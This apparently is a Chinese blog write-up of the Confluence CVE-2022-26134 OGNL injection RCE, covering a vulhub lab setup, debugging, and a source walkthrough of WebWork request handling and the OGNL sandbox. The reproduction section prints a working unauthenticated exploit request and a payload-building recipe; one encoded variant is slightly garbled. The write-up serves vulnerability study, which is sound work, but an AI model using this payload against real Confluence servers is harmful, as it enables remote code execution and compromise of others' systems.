Atlassian Confluence CVE-2022-26134 RCE漏洞

Atlassian Confluence CVE-2022-26134 RCE漏洞

Atlassian Confluence CVE-2022-26134 RCE漏洞
漏洞简介
远程攻击者在未经身份验证的情况下,可构造OGNL表达式进行注入,实现在Confluence ServerData Center上执行任意代码.

漏洞影响范围

Confluence Server and Data Center >= 1.3.0
Confluence Server and Data Center < 7.4.17
Confluence Server and Data Center < 7.13.7
Confluence Server and Data Center < 7.14.3
Confluence Server and Data Center < 7.15.2
Confluence Server and Data Center < 7.16.4
Confluence Server and Data Center < 7.17.4
Confluence Server and Data Center < 7.18.1

漏洞危害
漏洞评分9.8,危害等级严重,攻击者可以利用此漏洞执行任意代码,直接获得权限。
调试环境搭建
测试环境confluence版本:7.13.6
在这里插入图片描述
confluence环境搭建
采用vulhub靶场方式进行环境搭建,主要利用docker进行环境配置.
进入漏洞环境对应目录

cd /etc/vulhub/confluence/CVE-2022-26134

在这里插入图片描述
启动docker镜像

docker-compose up

在这里插入图片描述
访问http://ip:8090进行confluence配置
在这里插入图片描述

填入密钥,因为我这里已经注册过了,所以直接填入密钥,没注册过,可以点击Get an evaluation license获取密钥,之后点击next,选择standalone
在这里插入图片描述
接下来的配置如下:点击Test connection测试,显示Success!Database connected successfully之后点击next
在这里插入图片描述
到这儿,confluence的环境基本上已经搭建完毕了,接下来进行网站设置,我选择的是Empty site
在这里插入图片描述
接下来设置用户账号和密码,设置好之后点击next
在这里插入图片描述
配置成功之后点击start即可
在这里插入图片描述
动态调试环境搭建
漏洞环境搭建前期主要搭建动态调试环境,但是一直失败(这里主要记录下动态调试环境搭建过程,待之后再碰到类似的问题,希望能够解决)
动态调试环境搭建,需要在启动docker之前修改docker-compose.yml文件,添加以下内容

"5050:5050"     #这个端口作为调试端口

在这里插入图片描述
修改内容保存之后,正常启动docker,启动之后,需要修改/opt/atlassian/confluence/bin/setenv.sh文件,新增环境变量

docker ps    查看已经开启的docker镜像的相关信息

在这里插入图片描述
执行以下命令进入docker

docker exec -it 85b2add38df7 /bin/bash

要修改目标文件,需要先下载vim或者vi编辑器,执行以下命令进行apt更新以及vim下载

apt update & apt install vim 

编辑器下载之后,修改目标文件,新增以下内容

CATALINA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5050 ${CATALINA_OPTS}"

在这里插入图片描述
重启Confluence容器docker-compose restart,调试端口就开启了,接下来配置IDEA
在这里插入图片描述
下载并且安装IDEA,具体可以参考:https://blog.csdn.net/JOJO_jiongjiong/article/details/123087307
docker中复制confluence源码和docker中的jdk环境

docker cp 85b2add38df7:/opt/atlassian/confluence/ /home/worker/Desktop/conf   #复制confluence源码
docker cp 85b2add38df7:/opt/java/openjdk /home/worker/Desktop/jdk    #复制docker环境中的JDK环境

使用IDEA打开conf项目,设置项目的JDK环境为从docker环境中复制出来的JDK
在这里插入图片描述
新增远程调试配置
在这里插入图片描述
在这里插入图片描述
之后添加库文件:使用IDEA/confluence/WEB-INF下的atlassian-bundled-plugins、atlassian-bundled-plugins-setup、lib文件拉取为依赖文件。
在这里插入图片描述
之后即可直接调试(这次是成功了的,可以正常动态调试,反思和之前不一样的操作就是在弹出maven下载项的时候点击了确定,可能是这个原因)
漏洞复现
向目标服务器发送如下数据包:

GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: 192.168.220.54:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

得到返回数据:命令执行结果在X-Cmd-Response字段中显示
在这里插入图片描述
payload的构造过程如下:
1:首先构造一个ONGL的表达式

${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

2:将构造好的表达式进行URL编码

$%7B(%23a%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%id%22).getInputStream(),%22utf-8%22)).(%40com.opensymphony.webwork.ServletActionContext%40getResponse().setHeader(%22X-Cmd-Response%22,%23a))%7D

需要注意一点,在URL编码之后需要在编码之后的payload末尾添加一个/,即最后的payload 应该如下:

$%7B(%23a%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%id%22).getInputStream(),%22utf-8%22)).(%40com.opensymphony.webwork.ServletActionContext%40getResponse().setHeader(%22X-Cmd-Response%22,%23a))%7D/

漏洞详细分析
查看补丁点
根据官方通告:<https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html>
修补补丁关键点在于用新的xwork-1.0.3-atlassian-10.jar替换老的xwork-1.0.3-atlassian-8.jar.对这二者进行补丁对比.对应jar包目录:/confluence/WEB-INF/lib/xwork-1.0.3-atlassian-8.jar
bindiff确认补丁点
IDEA社区版不支持这个功能,需要下载企业版…(直接进行动态调试)
动态调试
这块因为没有办法直接bindiff直接对比补丁包的修改,入手点参考网上已有的分析报告.主要参考链接在文末给出.
前置背景-WebWork 框架分析
Confluence 使用 WebWork 框架,整个 HTTP 请求逻辑是随着这个框架处理流程来的。整个HTTP请求过程如下
1:客户发起 HTTP 流程访问
2:按照 servlet 规范,先由 filter 进行处理,然后由 WebWork 核心控制器 ServletDispatcher 进行处理
3:WebWork 根据 xwork.xml 配置文件 来处理请求:在配置文件中定义路由对应的拦截器,业务逻辑,业务逻辑响应等部分
4:先依次调用拦截器 (before), 然后再由业务逻辑处理
5:根据业务逻辑返回的响应类型对响应进行渲染
6:依次调用拦截器 (after), 然后将响应输出
在这里插入图片描述
confluenceweb.xml 中引入 WebWork 框架配置
关于Web.xml
一般的web工程中都会用到web.xmlweb.xml主要用来配置,可以方便的开发web工程。web.xml主要用来配置Filter、Listener、Servlet等。但是要说明的是web.xml并不是必须的,一个web工程可以没有web.xml文件。
WEB工程加载顺序与元素节点在文件中的配置顺序无关。即不会因为 filter 写在 listener的前面而会先加载filterWEB容器的加载顺序是:ServletContext -> context-param -> listener -> filter -> servlet。并且这些元素可以配置在文件中的任意位置。
web.xml文件的加载过程:
1:启动一个web项目的时候,web容器会去读取它的配置文件web.xml,读取<listener><context-param>两个结点。
2:紧接着,web容器会创建一个ServletContextservlet上下文),这个web项目的所有部分都将共享这个上下文。
3:容器将<context-param>转换为键值对,并交给servletContext
4:容器创建<listener>中的类实例,创建监听器。
web.xml标签详解
1:<web-app>:是部署描述的根元素
2:<display-name>:定义web应用的名称,Confluence的该键值如下:

<display-name>Confluence</display-name>

3:<disciption>:Web应用描述,Confluence的该标签内容如下:

<description>Confluence Web App</description>

4:<context-param>上下文参数,声明应用范围内的初始化参数。该元素含有一对参数名和参数值,它用于向 ServletContext提供键值对,即应用程序上下文信息.listener, filter等在初始化时会用到这些上下文中的信息。在servlet里面可以通过getServletContext().getInitParameter("context/param")得到。参数名在整个Web应用中必须是唯一的,在web应用的整个生命周期中上下文初始化参数都存在,任意的Servletjsp都可以随时随地访问它
5:<filter>:过滤器,Filter可认为是Servlet的一种“变种”,它主要用于对用户请求(HttpServletRequest)进行预处理,也可以对服务器响应(HttpServletResponse)进行后处理,是个典型的处理链。它与Servlet的区别在于:它不能直接向用户生成响应。完整的流程是:Filter对用户请求进行预处理,接着将请求交给Servlet进行处理并生成响应,最后Filter再对服务器响应进行后处理。
filter有如下几个用处:

在HttpServletRequest到达Servlet之前,拦截客户的HttpServletRequest。
根据需要检查HttpServletRequest,也可以修改HttpServletRequest头和数据。
在HttpServletResponse到达客户端之前,拦截HttpServletResponse。
根据需要检查HttpServletResponse,也可以修改HttpServletResponse头和数据。

创建一个Filter只需要两个步骤:1.创建Filter处理类(如:MyFiletr)实现javax.servlet.Filter接口;2.web.xml中配置Filter,以confluence中的filter配置为例进行详细阐述:

<filter>
        <filter-name>debug-before-request</filter-name>
        <filter-class>com.atlassian.confluence.web.filter.DebugFilter</filter-class>
        <init-param>
            <param-name>phase</param-name>
            <param-value>before</param-value>
        </init-param>
        <init-param>
            <param-name>dispatcher</param-name>
            <param-value>REQUEST</param-value>
        </init-param>
    </filter>

过滤器的名称为debug-before-request,实现的方法为com.atlassian.confluence.web.filter.DebugFilter类,查看具体实现:
在这里插入图片描述
上面的程序实现了doFilter()方法,实现该方法就可以实现对用户请求进行预处理.Filter接口中有一个doFilter方法,当开发人员编写好Filter类实现doFilter方法,并配置对哪个web资源进行拦截后,WEB服务器每次在调用web资源的service方法之前(服务器内部对资源的访问机制决定的),都会先调用一下filterdoFilter方法。关于Filter的相关内容,可以参考:https://www.cnblogs.com/vanl/p/5742501.html
6<listener>:监听器
7<servlet>:用来声明一个servlet的数据,Servlet通常称为服务端小程序,是服务端的程序,用于处理及响应客户的请求。Servlet是一个特殊的Java类,创建Servlet类自动继承HttpServlet。客户端通常只有GETPOST两种请求方式,Servlet为了响应这两种请求,必须重写doGet()doPost()方法。大部分时候,Servlet对于所有的请求响应都是完全一样的,此时只需要重写service()方法即可响应客户端的所有请求。HttpServlet有两个方法
init(ServletConfig config):创建Servlet实例时,调用该方法初始化Servlet资源;
destory():销毁Servlet实例时,自动调用该方法回收资源;
  通常无需重写init()destory()两个方法,除非需要在初始化Servlet时,完成某些资源初始化的方法,才考虑重写init()方法。如果重写了init()方法,应该在重写该方法的第一行调用super.init(config),该方法将调用HttpServletinit()方法。如果需要在销毁Servlet之前,先完先完成某些资源的回收,比如关闭数据库链接,才需要重写destory()方法。
处理流程分析
首先针对Confluence的登录过程进行流程分析,访问/login.action页面,查看产生的调用栈:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SWOOuGpW-1682047212938)(image/image_20_Uh7BaUWIJ4.png)]
根据调用栈可以看到,经过一系列 Filter 处理后,将进入Servlet 的分发器 ServletDispatcher (本质上是其子类 ConfluenceServletDispatcher 对象),在web.xml文件查找ServletDispatcher
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lOrLy3mT-1682047212939)(image/image_21_FYWiN5QP7n.png)]
定位到目标类,查找service方法
在这里插入图片描述
service函数中,分别通过函数 getNameSpace ,getActionName ,getRequestMap,getSessionMap,getApplicationMap 提取相应参数,处理函数和获取结果对应关系如下:

getNameSpace(request) -> namespace
getActionName(request) -> actionName
getRequestMap(request) -> requestMap
getParameterMap(request) -> parameterMap
getSessionMap(request) -> sessionMap
getApplicationMap() -> applicationMap

参数获取完毕之后,执行函数serviceAction

public void serviceAction(HttpServletRequest request, HttpServletResponse response, String namespace, String actionName, Map requestMap, Map parameterMap, Map sessionMap, Map applicationMap) {
        HashMap extraContext = createContextMap(requestMap, parameterMap, sessionMap, applicationMap, request, response, this.getServletConfig());
        extraContext.put("com.opensymphony.xwork.dispatcher.ServletDispatcher", this);

        try {
            ActionProxy proxy = ActionProxyFactory.getFactory().createActionProxy(namespace, actionName, extraContext);
            request.setAttribute("webwork.valueStack", proxy.getInvocation().getStack());
            proxy.execute();
        } catch (ConfigurationException var11) {
            log.error("Could not find action", var11);
            this.sendError(request, response, 404, var11);
        } catch (Exception var12) {
            log.error("Could not execute action", var12);
            this.sendError(request, response, 500, var12);
        }

    }

实例化DefaultActionProxy ,执行execute处理函数
在这里插入图片描述
在这里插入图片描述
调用InvokAction,进入 DefaultActionInvocation#invoke
在这里插入图片描述
这里开始调用 Struts Interceptor 拦截器对象对请求进行处理, DefaultActionInvocation 对象拦截器集合 interceptors 一共有 32 个:
在这里插入图片描述
迭代执行拦截器之后,流程来到this.proxy.getExecuteResult,进入发现实际调用的是executeResult
在这里插入图片描述
代码逻辑如下:

private void executeResult() throws Exception {
    this.result = createResult();
    if (this.result != null) {
      this.result.execute(this);
    } else if (!"none".equals(this.resultCode)) {
      LOG.warn("No result defined for action " + getAction().getClass().getName() + " and result " + getResultCode());
    } 
  }

查看result.execute函数执行逻辑

public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
      this.namespace = invocation.getProxy().getNamespace(); 
    OgnlValueStack stack = ActionContext.getContext().getValueStack();
    String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
    String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);
    if (isInChainHistory(finalNamespace, finalActionName))
      throw new XworkException("infinite recursion detected"); 
    addToHistory(finalNamespace, finalActionName);
    HashMap<Object, Object> extraContext = new HashMap<Object, Object>();
    extraContext.put("com.opensymphony.xwork.util.OgnlValueStack.ValueStack", ActionContext.getContext().getValueStack());
    extraContext.put("com.opensymphony.xwork.ActionContext.parameters", ActionContext.getContext().getParameters());
    extraContext.put("com.opensymphony.xwork.interceptor.component.ComponentManager", ActionContext.getContext().get("com.opensymphony.xwork.interceptor.component.ComponentManager"));
    extraContext.put("CHAIN_HISTORY", ActionContext.getContext().get("CHAIN_HISTORY"));
    if (log.isDebugEnabled())
      log.debug("Chaining to action " + finalActionName); 
    this.proxy = ActionProxyFactory.getFactory().createActionProxy(finalNamespace, finalActionName, extraContext);
    this.proxy.execute();
  }

提取 namespace 参数,并调用 translateVariables 函数,进入查看函数处理流程:
在这里插入图片描述
调用findvalue函数,通过前边的分析过程可知, namespace 参数通过 ServletDispatcher#getNameSpace 函数获取,查看函数定义:

protected String getNameSpace(HttpServletRequest request) {
        String servletPath = request.getServletPath();
        return getNamespaceFromServletPath(servletPath);
    }
    
public static String getNamespaceFromServletPath(String servletPath) {
        servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
        return servletPath;
    }    

根据上述代码逻辑,不难得出这样的结论: namespace 取值为请求 servletPath 最后一个 / 之前的部分,这其实也是我们的POC末尾为什么一定要加一个/的原因。同时需要注意,匹配的正则表达式如下:

\$\{([^}]*)\}

这样构造POC就容易很多,甚至可以在这里直接修改namespace参数满足这个正则表达式:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1szeskRu-1682047212944)在这里插入图片描述
沙箱绕过与命令执行

从v7.15系列开始,ConfluenceOGNL表达式解析时加入了沙箱设置:处理逻辑如下:新增了isSafeExpression判断逻辑

public Object findValue(String expr) {
    try {
      if (expr == null)
        return null; 
      if (!this.safeExpressionUtil.isSafeExpression(expr))
        return null; 
      if (this.overrides != null && this.overrides.containsKey(expr))
        expr = (String)this.overrides.get(expr); 
      if (this.defaultType != null)
        return findValue(expr, this.defaultType); 
      return Ognl.getValue(OgnlUtil.compile(expr), this.context, this.root);
    } catch (OgnlException e) {
      return null;
    } catch (Exception e) {
      LOG.warn("Caught an exception while evaluating expression '" + expr + "' against value stack", e);
      return null;
    } 
  }

查看isSafeExpression处理逻辑

 public boolean isSafeExpression(String expression) {
    return isSafeExpressionInternal(expression, new HashSet<>());
  }

private boolean isSafeExpressionInternal(String expression, Set<String> visitedExpressions) {
    if (!this.SAFE_EXPRESSIONS_CACHE.contains(expression)) {
      if (this.UNSAFE_EXPRESSIONS_CACHE.contains(expression))
        return false; 
      if (isUnSafeClass(expression)) {
        this.UNSAFE_EXPRESSIONS_CACHE.add(expression);
        return false;
      } 
      if (SourceVersion.isName(trimQuotes(expression)) && this.allowedClassNames.contains(trimQuotes(expression))) {
        this.SAFE_EXPRESSIONS_CACHE.add(expression);
      } else {
        try {
          Object parsedExpression = OgnlUtil.compile(expression);
          if (parsedExpression instanceof Node)
            if (containsUnsafeExpression((Node)parsedExpression, visitedExpressions)) {
              this.UNSAFE_EXPRESSIONS_CACHE.add(expression);
              log.debug(String.format("Unsafe clause found in [\" %s \"]", new Object[] { expression }));
            } else {
              this.SAFE_EXPRESSIONS_CACHE.add(expression);
            }  
        } catch (OgnlException|RuntimeException ex) {
          this.SAFE_EXPRESSIONS_CACHE.add(expression);
          log.debug("Cannot verify safety of OGNL expression", ex);
        } 
      } 
    } 
    return this.SAFE_EXPRESSIONS_CACHE.contains(expression);
  }

这里后续没有动态调试,可以查看参考链接中的部分内容

参考链接
https://paper.seebug.org/1912/
https://www.cnblogs.com/vanl/p/5742501.html
https://www.cnblogs.com/vanl/p/5737656.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值